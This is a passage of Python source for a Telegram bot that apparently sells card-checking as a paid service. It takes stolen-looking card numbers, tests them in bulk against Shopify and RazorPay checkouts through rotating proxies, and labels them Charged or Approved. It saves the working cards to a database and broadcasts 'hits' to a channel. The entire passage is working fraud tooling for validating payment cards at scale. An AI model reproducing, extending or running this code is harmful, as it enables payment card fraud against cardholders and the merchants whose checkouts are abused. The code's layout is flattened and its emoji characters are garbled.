removed.append(ex) break await styled_reply(event, f"{PE} {bs('Removed')}: {len(removed)}", emoji_ids=[CE["check"]]) @client.on(events.NewMessage(pattern=r'(?i)^[/.]sites$')) async def list_sites(event): if await check_maintenance(event): return if not await force_join_check(event): return if await is_banned_user(event.sender_id): t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) if event.sender_id not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) sites = await get_user_sites(event.sender_id) if not sites: return await styled_reply(event, f"{PE} {bs('No sites')} /add", emoji_ids=[CE["warn"]]) text = f"{PE} {bs('Sites')} ({len(sites)}) {PE}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n" eid = [CE["fire"], CE["fire"]] for i, s in enumerate(sites[:50], 1): text += f"{PE} {i}. {s}\n"; eid.append(CE["link"]) if len(sites) > 50: text += f"\n+{len(sites)-50} more" await styled_reply(event, text, emoji_ids=eid) @client.on(events.NewMessage(pattern=r'(?i)^[/.]site$')) async def check_sites_cmd(event): if await check_maintenance(event): return if not await force_join_check(event): return if await is_banned_user(event.sender_id): t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) if event.sender_id not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) sites = await get_user_sites(event.sender_id) if not sites: return await styled_reply(event, f"{PE} {bs('No sites')}", emoji_ids=[CE["warn"]]) uid = event.sender_id PENDING_SITE_CHECK[uid] = {"sites": sites, "event": event} kb = [[pbtn(f"{bs('0-5 USD')}", f"siteprice:5:{uid}"), pbtn(f"{bs('0-10 USD')}", f"siteprice:10:{uid}")], [pbtn(f"{bs('0-20 USD')}", f"siteprice:20:{uid}"), pbtn(f"{bs('0-40 USD')}", f"siteprice:40:{uid}")]] await styled_reply(event, f"{PE} {bs('Select Price Range')} {PE}\n{PE} {bs('Sites')}: {len(sites)}\n{PE} {bs('Dead + over-price will be removed')}", buttons=kb, emoji_ids=[CE["fire"], CE["fire"], CE["globe"], CE["warn"]]) @client.on(events.CallbackQuery(pattern=rb"siteprice:(\d+):(\d+)")) async def site_price_cb(event): max_price = int(event.pattern_match.group(1).decode()) uid = int(event.pattern_match.group(2).decode()) if event.sender_id != uid: return await event.answer(f"{bs('Not yours')}!", alert=True) data = PENDING_SITE_CHECK.pop(uid, None) if not data: return await event.answer(f"{bs('Expired')}!", alert=True) await event.answer(f"{bs('Checking')}...") try: await event.delete() except: pass asyncio.create_task(_process_site_check(data["event"], data["sites"], max_price)) async def _process_site_check(event, sites, max_price): uid = event.sender_id total = len(sites); tested = alive_count = dead_count = kept_count = removed_price = 0 proxies = await get_all_user_proxies(uid) user_site_sem = get_user_sem(uid, "site") http_session = await get_user_http_session(uid, "site") sm = await styled_reply(event, f"{PE} {bs('Checking')} {total} {bs('sites')}...", emoji_ids=[CE["fire"]]) last_ui = [0]; dead_sites = set(); price_removed_sites = set() async def update_ui(): now = time.time() if now - last_ui[0] < 3.0: return last_ui[0] = now try: await styled_edit(sm, f"{PE} {tested}/{total} | โœ…{alive_count} โŒ{dead_count}", emoji_ids=[CE["fire"]]) except: pass async def check_worker(site): nonlocal tested, alive_count, dead_count, kept_count, removed_price async with user_site_sem: try: res = await test_site(site, random.choice(proxies) if proxies else None, http_session=http_session) tested += 1 if res['status'] == 'alive': alive_count += 1; pv = 0 ps = res.get('price', '-') if ps and ps != '-': try: pv = float(str(ps).replace('$', '').strip()) except: pass if pv <= max_price: kept_count += 1 else: removed_price += 1; price_removed_sites.add(normalize_site_url(site)) else: dead_count += 1; dead_sites.add(normalize_site_url(site)) await update_ui() except asyncio.CancelledError: raise except: dead_count += 1; tested += 1; dead_sites.add(normalize_site_url(site)) for i in range(0, len(sites), SITE_PER_USER_WORKERS): await asyncio.gather(*[asyncio.create_task(check_worker(s)) for s in sites[i:i+SITE_PER_USER_WORKERS]], return_exceptions=True) for s in sites: n = normalize_site_url(s) if n in dead_sites or n in price_removed_sites: await remove_site_db(uid, s) try: await styled_edit(sm, f"""{PE} {bs('Done')} | โœ…{alive_count} โŒ{dead_count} | {bs('Kept')}:{kept_count} | {bs('Removed')}:{dead_count + removed_price}""", emoji_ids=[CE["fire"]]) except: pass await cleanup_user_http_session(uid, "site"); cleanup_user_sem(uid) # ====================== PROXY (compact) ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.]addpxy')) async def add_proxy_cmd(event): if await check_maintenance(event): return if not await force_join_check(event): return if event.is_group: return await styled_reply(event, f"{PE} {bs('Private only')}", emoji_ids=[CE["stop"]]) if await is_banned_user(event.sender_id): t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) if event.sender_id not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) try: lines = [] if event.is_reply: rm = await event.get_reply_message() if rm.file: fp = await rm.download_media() try: async with aiofiles.open(fp, "r", encoding="utf-8") as f: lines = [l.strip() for l in (await f.read()).splitlines() if l.strip()] finally: try: os.remove(fp) except: pass elif rm.text: lines = [l.strip() for l in rm.text.splitlines() if l.strip()] else: p = event.raw_text.split(maxsplit=1) if len(p) == 2: lines = [l.strip() for l in p[1].splitlines() if l.strip()] else: return await styled_reply(event, f"{PE} /addpxy ip:port:user:pass", emoji_ids=[CE["info"]]) if not lines: return await styled_reply(event, f"{PE} {bs('No proxies')}", emoji_ids=[CE["cross"]]) await ensure_user(event.sender_id) cc = await get_proxy_count(event.sender_id) if cc >= 100: return await styled_reply(event, f"{PE} {bs('Limit 100/100')}", emoji_ids=[CE["cross"]]) existing = {p['proxy_url'] for p in await get_all_user_proxies(event.sender_id)} parsed = [] for l in lines: pd = parse_proxy_format(l) if pd and pd['proxy_url'] not in existing: parsed.append(pd); existing.add(pd['proxy_url']) if not parsed: return await styled_reply(event, f"{PE} {bs('No valid proxies')}", emoji_ids=[CE["cross"]]) parsed = parsed[:100-cc] tm = await styled_reply(event, f"{PE} {bs('Testing')} {len(parsed)}...", emoji_ids=[CE["shield"]]) added, failed = [], [] for i in range(0, len(parsed), 10): batch = parsed[i:i+10] results = await asyncio.gather(*[test_proxy(p['proxy_url']) for p in batch], return_exceptions=True) for pd2, res in zip(batch, results): if isinstance(res, tuple) and res[0]: await add_proxy_db(event.sender_id, pd2); added.append(1) else: failed.append(1) await styled_edit(tm, f"{PE} {bs('Done')} โœ…{len(added)} โŒ{len(failed)} | {bs('Total')}: {cc+len(added)}/100", emoji_ids=[CE["fire"]]) except Exception as e: await styled_reply(event, f"{PE} {bs('Error')}: {e}", emoji_ids=[CE["cross"]]) @client.on(events.NewMessage(pattern=r'(?i)^[/.]proxy$')) async def view_proxies(event): if await check_maintenance(event): return if not await force_join_check(event): return if event.is_group: return await styled_reply(event, f"{PE} {bs('Private only')}", emoji_ids=[CE["stop"]]) if await is_banned_user(event.sender_id): t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) if event.sender_id not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) proxies = await get_all_user_proxies(event.sender_id) if not proxies: return await styled_reply(event, f"{PE} {bs('No proxies')} /addpxy", emoji_ids=[CE["cross"]]) text = f"{PE} {bs('Proxies')} ({len(proxies)}/100) {PE}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n" eid = [CE["fire"], CE["fire"]] for i, p in enumerate(proxies[:30], 1): text += f"{i}. {PE} {p['ip']}:{p['port']}\n"; eid.append(CE["link"]) if len(proxies) > 30: text += f"\n+{len(proxies)-30} more" text += f"\n{PE} /rmpxy index"; eid.append(CE["trash"]) await styled_reply(event, text, emoji_ids=eid) @client.on(events.NewMessage(pattern=r'(?i)^[/.]rmpxy')) async def remove_proxy_cmd(event): if await check_maintenance(event): return if not await force_join_check(event): return if event.is_group: return await styled_reply(event, f"{PE} {bs('Private only')}", emoji_ids=[CE["stop"]]) if await is_banned_user(event.sender_id): t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) if event.sender_id not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) proxies = await get_all_user_proxies(event.sender_id) if not proxies: return await styled_reply(event, f"{PE} {bs('No proxies')}", emoji_ids=[CE["cross"]]) p = event.raw_text.split(maxsplit=1) if len(p) == 1: return await styled_reply(event, f"{PE} /rmpxy index or all", emoji_ids=[CE["warn"]]) arg = p[1].strip().lower() if arg == 'all': c = await clear_all_proxies(event.sender_id) return await styled_reply(event, f"{PE} {bs('Cleared')} {c}", emoji_ids=[CE["check"]]) try: idx = int(arg) - 1 if 0 <= idx < len(proxies): rm = await remove_proxy_by_index(event.sender_id, idx) await styled_reply(event, f"{PE} {bs('Removed')} {rm['ip']}:{rm['port']}", emoji_ids=[CE["check"]]) else: await styled_reply(event, f"{PE} {bs('Invalid')}", emoji_ids=[CE["cross"]]) except: await styled_reply(event, f"{PE} {bs('Invalid')}", emoji_ids=[CE["cross"]]) @client.on(events.NewMessage(pattern=r'(?i)^[/.]chkpxy$')) async def check_proxies_cmd(event): if await check_maintenance(event): return if not await force_join_check(event): return if event.is_group: return await styled_reply(event, f"{PE} {bs('Private only')}", emoji_ids=[CE["stop"]]) if await is_banned_user(event.sender_id): t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) plan = await get_user_plan(event.sender_id) if event.sender_id not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) proxies = await get_all_user_proxies(event.sender_id) if not proxies: return await styled_reply(event, f"{PE} {bs('No proxies')}", emoji_ids=[CE["cross"]]) sm = await styled_reply(event, f"{PE} {bs('Testing')} {len(proxies)}...", emoji_ids=[CE["shield"]]) results = await asyncio.gather(*[test_proxy(p['proxy_url']) for p in proxies], return_exceptions=True) w = sum(1 for r in results if isinstance(r, tuple) and r[0]) await styled_edit(sm, f"{PE} {bs('Proxy Check')}\nโœ… {bs('Working')}: {w}\nโŒ {bs('Dead')}: {len(results)-w}", emoji_ids=[CE["shield"]]) # ====================== FREE CHECK HELPER ====================== async def _check_free_limits(event, uid, plan, is_group): if uid in ADMIN_ID: return True if not is_paid_plan(plan): if not is_group: await send_group_only_message(event); return False used = get_free_sp_usage(uid) if used >= FREE_SP_DAILY_LIMIT: await styled_reply(event, f"{PE} {bs('Daily Limit')} {used}/{FREE_SP_DAILY_LIMIT}", buttons=[[pbtn(bs("Upgrade"), url="https://t.me/monsterloaderowner")]], emoji_ids=[CE["stop"]]) return False cd = get_free_sp_cooldown_remaining(uid) if cd > 0: await styled_reply(event, f"โš ๏ธ {bs('Wait')} {cd}{bs('s')}", buttons=[[pbtn(bs("Upgrade"), url="https://t.me/monsterloaderowner")]]) return False return True def _get_card_from_event(event, reply_msg): card = None if reply_msg and reply_msg.text: cc = extract_cc(reply_msg.text) if cc: card = cc[0] if not card: cc = extract_cc(event.message.text) if cc: card = cc[0] return card # ====================== /sp (Shopify Single) ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.]sp\b')) async def single_cc_check(event): if await check_maintenance(event): return if not await force_join_check(event): return _, at = await can_use(event.sender_id, event.chat) if at == "banned": t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) uid = event.sender_id plan = await get_user_plan(uid) is_group = event.chat.id != uid if not await _check_free_limits(event, uid, plan, is_group): return try: sender = await event.get_sender(); username = sender.username or f"user_{uid}"; name = sender.first_name or username except: username, name = f"user_{uid}", "User" if is_paid_plan(plan) or uid in ADMIN_ID: sites = await get_user_sites(uid); proxies = await get_all_user_proxies(uid) else: sites, proxies = [], [] for aid in ADMIN_ID: sites = await get_user_sites(aid); proxies = await get_all_user_proxies(aid) if sites: break if not sites: try: from database import get_global_sites sites = await get_global_sites() except: pass if not sites: return await styled_reply(event, f"{PE} {bs('No sites!')} /add", emoji_ids=[CE["warn"]]) rm = await event.get_reply_message() if event.reply_to_msg_id else None card = _get_card_from_event(event, rm) if not card: return await styled_reply(event, f"{PE} /sp card|mm|yy|cvv", emoji_ids=[CE["info"]]) if uid not in ADMIN_ID and not is_paid_plan(plan): set_free_sp_last_use(uid); increment_free_sp_usage(uid) lm = await styled_reply(event, f"{bs('Processing')}โ€ฆ โณ") st = time.time() rotator = SmartRotator() try: http_session = await get_user_http_session(uid, "sp") async with get_user_sem(uid, "sp"): bin_task = asyncio.create_task(get_bin_info(card.split('|')[0])) result, _ = await check_card_with_retry(card, sites, uid, proxies, 3, rotator, http_session=http_session) bi = await bin_task elapsed = round(time.time() - st, 2) status = result.get('Status', 'Declined') if status in ["Charged", "Approved"]: asyncio.create_task(save_card_to_db(card, status.upper(), result.get('Response', ''), result.get('Gateway', ''), result.get('Price', ''))) msg, eid = format_simple_card_result(status, card, result.get('Gateway', '?'), result.get('Response', '')[:150], bi, elapsed, extra_field=("Price", result.get('Price', '-')) if result.get('Price', '-') != '-' else None) try: await lm.delete() except: pass rm2 = await styled_reply(event, msg, emoji_ids=eid, buttons=HIT_BUTTON) if status == "Charged": asyncio.create_task(pin_charged_message(event, rm2)) asyncio.create_task(send_channel_hit(result, uid, username, name, "Shopify")) except Exception as e: try: await lm.delete() except: pass await styled_reply(event, f"{PE} {bs('Error')}: {e}", emoji_ids=[CE["cross"]]) # ====================== /rz (RazorPay Single) ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.]rz\b')) async def rz_single_check(event): if await check_maintenance(event): return if not await force_join_check(event): return _, at = await can_use(event.sender_id, event.chat) if at == "banned": t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) uid = event.sender_id plan = await get_user_plan(uid) is_group = event.chat.id != uid if not await _check_free_limits(event, uid, plan, is_group): return try: sender = await event.get_sender(); username = sender.username or f"user_{uid}"; name = sender.first_name or username except: username, name = f"user_{uid}", "User" proxies = await get_all_user_proxies(uid) if not proxies and uid not in ADMIN_ID and not is_paid_plan(plan): for aid in ADMIN_ID: proxies = await get_all_user_proxies(aid) if proxies: break rm = await event.get_reply_message() if event.reply_to_msg_id else None card = _get_card_from_event(event, rm) if not card: return await styled_reply(event, f"{PE} /rz card|mm|yy|cvv", emoji_ids=[CE["info"]]) if uid not in ADMIN_ID and not is_paid_plan(plan): set_free_sp_last_use(uid); increment_free_sp_usage(uid) lm = await styled_reply(event, f"{bs('Processing')}โ€ฆ โณ") st = time.time() try: http_session = await get_user_http_session(uid, "rz") bin_task = asyncio.create_task(get_bin_info(card.split('|')[0])) result = await check_rz_with_retry(card, proxies, uid, max_retries=3, http_session=http_session) bi = await bin_task elapsed = round(time.time() - st, 2) status = result.get('Status', 'Declined') if status in ["Charged", "Approved"]: asyncio.create_task(save_card_to_db(card, status.upper(), result.get('Response', ''), 'RazorPay', '-')) msg, eid = format_rz_single_result(status, card, 'RazorPay', result.get('Response', '')[:150], bi, elapsed) try: await lm.delete() except: pass rm2 = await styled_reply(event, msg, emoji_ids=eid, buttons=HIT_BUTTON) if status == "Charged": asyncio.create_task(pin_charged_message(event, rm2)) asyncio.create_task(send_channel_hit(result, uid, username, name, "RazorPay")) except Exception as e: try: await lm.delete() except: pass await styled_reply(event, f"{PE} {bs('Error')}: {e}", emoji_ids=[CE["cross"]]) # ====================== /stop ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.]stop$')) async def stop_cmd(event): uid = event.sender_id stopped_any = False for store in [ACTIVE_MTXT_PROCESSES, ACTIVE_MRZ_PROCESSES]: proc = store.get(uid) if proc and isinstance(proc, dict): proc["stopped"] = True for task in proc.get("tasks", []): if not task.done(): task.cancel() stopped_any = True if not stopped_any: return await styled_reply(event, f"{PE} {bs('No active session')}", emoji_ids=[CE["warn"]]) await styled_reply(event, f"{PE} {bs('Stopping')}...", emoji_ids=[CE["stop"]]) # ====================== GENERIC MASS PROCESSOR ====================== async def _run_mass_process(event, cards, proxies, send_approved, process_store, stop_prefix, check_func, gate_name, sem_type): uid = event.sender_id try: sender = await event.get_sender(); username, name = sender.username or f"user_{uid}", sender.first_name or "User" except: username, name = f"user_{uid}", "User" total = len(cards); checked = charged = approved = declined = errors = 0 chat_id = event.chat_id; is_group = chat_id != uid mode = bs("C+A") if send_approved else bs("C only") st = time.time(); hits = [] workers = MRZ_PER_USER_WORKERS if sem_type == "mrz" else MSP_PER_USER_WORKERS user_sem = get_user_sem(uid, sem_type) http_session = await get_user_http_session(uid, sem_type) is_rz = gate_name == "RazorPay" sm = await styled_reply(event, f"
{PE} {bs('Processing')} โ” {mode} โ” {gate_name} โ” {workers}{bs('w')}
", emoji_ids=[CE["chart"]]) last_ui = [0]; lcd, lrd = "-", "-" def is_stopped(): proc = process_store.get(uid) if not proc: return True return proc.get("stopped", False) if isinstance(proc, dict) else False async def update_ui(): nonlocal last_ui now = time.time() if now - last_ui[0] < 3.0 or is_stopped(): return last_ui[0] = now kb = [[pbtn(f" {lcd}", "none")], [pbtn(f" {lrd}", "none")], [pbtn(f"{bs('C')} โ” {charged}", "none"), pbtn(f"{bs('A')} โ” {approved}", "none")], [pbtn(f"{bs('D')} โ” {declined}", "none"), pbtn(f"{bs('E')} โ” {errors}", "none")], [pbtn(f" {checked}/{total}", "none")], [pbtn(bs("Stop"), f"{stop_prefix}:{uid}")]] try: await styled_edit(sm, f"
{PE} {bs('Processing')}...
", buttons=kb, emoji_ids=[CE["star"]]) except: pass async def worker(card): nonlocal checked, charged, approved, declined, errors, lcd, lrd if is_stopped(): return async with user_sem: if is_stopped(): return try: result = await check_func(card, http_session) if is_stopped(): return status = result.get("Status", "Declined") resp = result.get("Response", ""); gw = result.get("Gateway", gate_name) checked += 1; lcd = card; lrd = resp[:30] if status == "Error": errors += 1 elif status == "Charged": charged += 1; hits.append(f"{card} - CHARGED - {resp} - {gw}") asyncio.create_task(save_card_to_db(card, "CHARGED", resp, gw, result.get('Price', '-'))) asyncio.create_task(_send_mass_hit(card, result, status, uid, username, name, is_rz)) elif status == "Approved": approved += 1; hits.append(f"{card} - APPROVED - {resp} - {gw}") asyncio.create_task(save_card_to_db(card, "APPROVED", resp, gw, result.get('Price', '-'))) if send_approved: asyncio.create_task(_send_mass_hit(card, result, status, uid, username, name, is_rz)) else: declined += 1 await update_ui() except asyncio.CancelledError: return except: if not is_stopped(): errors += 1; checked += 1 batch_size = workers * 2; all_tasks = [] proc = process_store.get(uid) for i in range(0, len(cards), batch_size): if is_stopped(): break batch_tasks = [asyncio.create_task(worker(c)) for c in cards[i:i+batch_size]] all_tasks.extend(batch_tasks) if isinstance(proc, dict): proc["tasks"] = all_tasks await asyncio.gather(*batch_tasks, return_exceptions=True) await asyncio.sleep(0.3) el = int(time.time() - st); h, m, s = el // 3600, (el % 3600) // 60, el % 60 stop_label = f" ({bs('Stopped')})" if is_stopped() else "" ft = f"""{PE} {bs('Complete')}{stop_label} {PE}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n{PE} {bs('Charged')} โ” {charged}\n{PE} {bs('Approved')} โ” {approved}\n{PE} {bs('Declined')} โ” {declined}\n{PE} {bs('Errors')} โ” {errors}\nโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”\n{PE} {bs('Checked')} โ” {checked}/{total}""" fkb = [[pbtn(f"{bs('C')} โ” {charged}", "none"), pbtn(f"{bs('A')} โ” {approved}", "none")], [pbtn(f"{bs('T')} โ” {checked}/{total}", "none"), pbtn(f"{h}{bs('h')}{m}{bs('m')}{s}{bs('s')}", "none")]] for _ in range(3): try: await styled_edit(sm, ft, buttons=fkb, emoji_ids=[CE["crown"], CE["crown"], CE["gem"], CE["check"], CE["declined"], CE["warn"], CE["star"]]); break except: await asyncio.sleep(0.5) await send_final_file(uid, charged, approved, declined, errors, total, hits, uid) process_store.pop(uid, None) await cleanup_user_http_session(uid, sem_type); cleanup_user_sem(uid) async def _send_mass_hit(card, result, status, uid, username, name, is_rz=False): await asyncio.sleep(HIT_DELAY) try: bi = await get_bin_info(card.split("|")[0]) gw = result.get('Gateway', 'RazorPay' if is_rz else 'Shopify') resp = result.get('Response', '')[:150] if is_rz: msg, eid = format_card_result_no_price(status, card, gw, resp, bi) else: msg, eid = format_card_result(status, card, gw, resp, result.get('Price', '-'), result.get('site', '-'), bi, 0.0) try: await styled_send(uid, msg, emoji_ids=eid, buttons=HIT_BUTTON) except: pass if status == "Charged": asyncio.create_task(send_channel_hit(result, uid, username, name, "RazorPay" if is_rz else "Shopify")) except: pass async def send_final_file(uid, charged, approved, declined, errors, total, hits=None, target_chat=None): hits = hits or [] fn = f"razor_x_{uid}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt" target = target_chat or uid try: async with aiofiles.open(fn, 'w', encoding='utf-8') as f: await f.write(f"{'='*49}\nRAZOR X RESULTS\n{'='*49}\n\nCharged: {charged}\nApproved: {approved}\nDeclined: {declined}\nErrors: {errors}\nTotal: {total}\n") if hits: await f.write(f"\n{'='*49}\nHITS\n{'='*49}\n\n") for h in hits: await f.write(h + "\n") try: await styled_send(target, f"{PE} {bs('Results')} {PE}", emoji_ids=[CE["fire"], CE["fire"]], file=fn) except: pass try: os.remove(fn) except: pass except: pass # ====================== /msp (Shopify Mass) ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.]msp\b')) async def mass_check_cmd(event): if await check_maintenance(event): return if not await force_join_check(event): return _, at, plan = await get_user_access(event) if at == "banned": t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) uid = event.sender_id if uid not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) cl = get_cc_limit(plan, uid) if uid in ACTIVE_MTXT_PROCESSES: return await styled_reply(event, f"{PE} {bs('Already running')}", emoji_ids=[CE["warn"]]) content, from_inline = "", False cmd_text = re.sub(r'^[/.]msp\s*', '', event.raw_text, flags=re.IGNORECASE).strip() if cmd_text: content = cmd_text; from_inline = True elif event.reply_to_msg_id: rm = await event.get_reply_message() if not rm: return await styled_reply(event, f"{PE} {bs('Message not found')}", emoji_ids=[CE["warn"]]) if rm.document: fp = await rm.download_media() try: async with aiofiles.open(fp, 'r', encoding='utf-8', errors='ignore') as f: content = await f.read() os.remove(fp) except: pass elif rm.text: content = rm.text else: return await styled_reply(event, f"{PE} {bs('Reply to .txt or paste cards after')} /msp", emoji_ids=[CE["info"]]) sites = await get_user_sites(uid) if not sites: return await styled_reply(event, f"{PE} {bs('No sites!')} /add", emoji_ids=[CE["warn"]]) cards = extract_cc(content) if not cards: return await styled_reply(event, f"{PE} {bs('No valid cards')}", emoji_ids=[CE["cross"]]) if len(cards) > cl: cards = cards[:cl] await styled_reply(event, f"
{PE} {len(cards)} {bs('CCs')} | {bs('Limit')}: {cl}
", emoji_ids=[CE["star"]]) proxies = await get_all_user_proxies(uid) rotator = SmartRotator() async def shopify_check(card, http_session): result, _ = await check_card_with_retry(card, sites, uid, proxies, 3, rotator, cancel_check=lambda: ACTIVE_MTXT_PROCESSES.get(uid, {}).get("stopped", True), http_session=http_session) return result if from_inline: ACTIVE_MTXT_PROCESSES[uid] = {"stopped": False, "tasks": []} asyncio.create_task(_run_mass_process(event, cards, proxies, True, ACTIVE_MTXT_PROCESSES, "stop_chk", shopify_check, "Shopify", "msp")) else: kb = [[pbtn(bs("Charged + Approved"), f"chk_pref:yes:{uid}")], [pbtn(bs("Only Charged"), f"chk_pref:no:{uid}")]] pm = await styled_reply(event, f"{PE} {bs('Filter')}", kb, emoji_ids=[CE["chart"]]) USER_APPROVED_PREF[f"chk_{uid}"] = {"cards": cards, "sites": sites, "proxies": proxies, "event": event, "pref_msg": pm, "rotator": rotator} @client.on(events.CallbackQuery(pattern=rb"chk_pref:(yes|no):(\d+)")) async def chk_pref_cb(event): pref = event.pattern_match.group(1).decode() uid = int(event.pattern_match.group(2).decode()) if event.sender_id != uid: return await event.answer(f"{bs('Not yours')}!", alert=True) data = USER_APPROVED_PREF.pop(f"chk_{uid}", None) if not data: return await event.answer(f"{bs('Expired')}!", alert=True) try: await data["pref_msg"].delete() except: pass if uid in ACTIVE_MTXT_PROCESSES: return await event.answer(f"{bs('Already running')}!", alert=True) ACTIVE_MTXT_PROCESSES[uid] = {"stopped": False, "tasks": []} await event.answer(f"{bs('Starting')}...") rotator = data.get("rotator", SmartRotator()) sites, proxies = data["sites"], data["proxies"] async def shopify_check(card, http_session): result, _ = await check_card_with_retry(card, sites, uid, proxies, 3, rotator, cancel_check=lambda: ACTIVE_MTXT_PROCESSES.get(uid, {}).get("stopped", True), http_session=http_session) return result asyncio.create_task(_run_mass_process(data["event"], data["cards"], proxies, pref == "yes", ACTIVE_MTXT_PROCESSES, "stop_chk", shopify_check, "Shopify", "msp")) @client.on(events.CallbackQuery(pattern=rb"stop_chk:(\d+)")) async def stop_chk_cb(event): puid = int(event.pattern_match.group(1).decode()) if event.sender_id != puid and event.sender_id not in ADMIN_ID: return await event.answer(f"{bs('Not yours')}!", alert=True) proc = ACTIVE_MTXT_PROCESSES.get(puid) if not proc: return await event.answer(f"{bs('None active')}!", alert=True) if isinstance(proc, dict): proc["stopped"] = True for t in proc.get("tasks", []): if not t.done(): t.cancel() await event.answer(f"{bs('Stopping')}...", alert=True) # ====================== /mrz (RazorPay Mass) ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.]mrz\b')) async def mrz_mass_check_cmd(event): if await check_maintenance(event): return if not await force_join_check(event): return _, at, plan = await get_user_access(event) if at == "banned": t, e = banned_user_message(); return await styled_reply(event, t, emoji_ids=e) uid = event.sender_id if uid not in ADMIN_ID and not is_paid_plan(plan): return await send_premium_only_message(event) cl = get_cc_limit(plan, uid) if uid in ACTIVE_MRZ_PROCESSES: return await styled_reply(event, f"{PE} {bs('Already running')}", emoji_ids=[CE["warn"]]) content, from_inline = "", False cmd_text = re.sub(r'^[/.]mrz\s*', '', event.raw_text, flags=re.IGNORECASE).strip() if cmd_text: content = cmd_text; from_inline = True elif event.reply_to_msg_id: rm = await event.get_reply_message() if not rm: return await styled_reply(event, f"{PE} {bs('Message not found')}", emoji_ids=[CE["warn"]]) if rm.document: fp = await rm.download_media() try: async with aiofiles.open(fp, 'r', encoding='utf-8', errors='ignore') as f: content = await f.read() os.remove(fp) except: pass elif rm.text: content = rm.text else: return await styled_reply(event, f"{PE} {bs('Reply to .txt or paste cards after')} /mrz", emoji_ids=[CE["info"]]) cards = extract_cc(content) if not cards: return await styled_reply(event, f"{PE} {bs('No valid cards')}", emoji_ids=[CE["cross"]]) if len(cards) > cl: cards = cards[:cl] await styled_reply(event, f"
{PE} {len(cards)} {bs('CCs')} | {bs('RazorPay')} | {bs('Limit')}: {cl}
", emoji_ids=[CE["star"]]) proxies = await get_all_user_proxies(uid) async def rz_check(card, http_session): return await check_rz_with_retry(card, proxies, uid, max_retries=3, cancel_check=lambda: ACTIVE_MRZ_PROCESSES.get(uid, {}).get("stopped", True), http_session=http_session) if from_inline: ACTIVE_MRZ_PROCESSES[uid] = {"stopped": False, "tasks": []} asyncio.create_task(_run_mass_process(event, cards, proxies, True, ACTIVE_MRZ_PROCESSES, "stop_mrz", rz_check, "RazorPay", "mrz")) else: kb = [[pbtn(bs("Charged + Approved"), f"mrz_pref:yes:{uid}")], [pbtn(bs("Only Charged"), f"mrz_pref:no:{uid}")]] pm = await styled_reply(event, f"{PE} {bs('Filter')}", kb, emoji_ids=[CE["chart"]]) USER_APPROVED_PREF[f"mrz_{uid}"] = {"cards": cards, "proxies": proxies, "event": event, "pref_msg": pm} @client.on(events.CallbackQuery(pattern=rb"mrz_pref:(yes|no):(\d+)")) async def mrz_pref_cb(event): pref = event.pattern_match.group(1).decode() uid = int(event.pattern_match.group(2).decode()) if event.sender_id != uid: return await event.answer(f"{bs('Not yours')}!", alert=True) data = USER_APPROVED_PREF.pop(f"mrz_{uid}", None) if not data: return await event.answer(f"{bs('Expired')}!", alert=True) try: await data["pref_msg"].delete() except: pass if uid in ACTIVE_MRZ_PROCESSES: return await event.answer(f"{bs('Already running')}!", alert=True) ACTIVE_MRZ_PROCESSES[uid] = {"stopped": False, "tasks": []} await event.answer(f"{bs('Starting')}...") proxies = data["proxies"] async def rz_check(card, http_session): return await check_rz_with_retry(card, proxies, uid, max_retries=3, cancel_check=lambda: ACTIVE_MRZ_PROCESSES.get(uid, {}).get("stopped", True), http_session=http_session) asyncio.create_task(_run_mass_process(data["event"], data["cards"], proxies, pref == "yes", ACTIVE_MRZ_PROCESSES, "stop_mrz", rz_check, "RazorPay", "mrz")) @client.on(events.CallbackQuery(pattern=rb"stop_mrz:(\d+)")) async def stop_mrz_cb(event): puid = int(event.pattern_match.group(1).decode()) if event.sender_id != puid and event.sender_id not in ADMIN_ID: return await event.answer(f"{bs('Not yours')}!", alert=True) proc = ACTIVE_MRZ_PROCESSES.get(puid) if not proc: return await event.answer(f"{bs('None active')}!", alert=True) if isinstance(proc, dict): proc["stopped"] = True for t in proc.get("tasks", []): if not t.done(): t.cancel() await event.answer(f"{bs('Stopping')}...", alert=True) # ====================== /status ====================== @client.on(events.NewMessage(pattern=r'(?i)^[/.]status$')) async def status_cmd(event): if event.sender_id not in ADMIN_ID: return try: st = await _build_status_text() await styled_reply(event, st, buttons=[[pbtn("๐Ÿ”„ Refresh", data="refresh_status")]]) except Exception as e: await styled_reply(event, f"โš ๏ธ {e}") @client.on(events.CallbackQuery(data=b"refresh_status")) async def refresh_status_cb(event): if event.sender_id not in ADMIN_ID: return await event.answer("No!", alert=True) await event.answer("Refreshing...") try: st = await _build_status_text() msg = event.message if hasattr(event, 'message') else await event.get_message() await styled_edit(msg, st, buttons=[[pbtn("๐Ÿ”„ Refresh", data="refresh_status")]]) except: pass # ====================== ADMIN ====================== 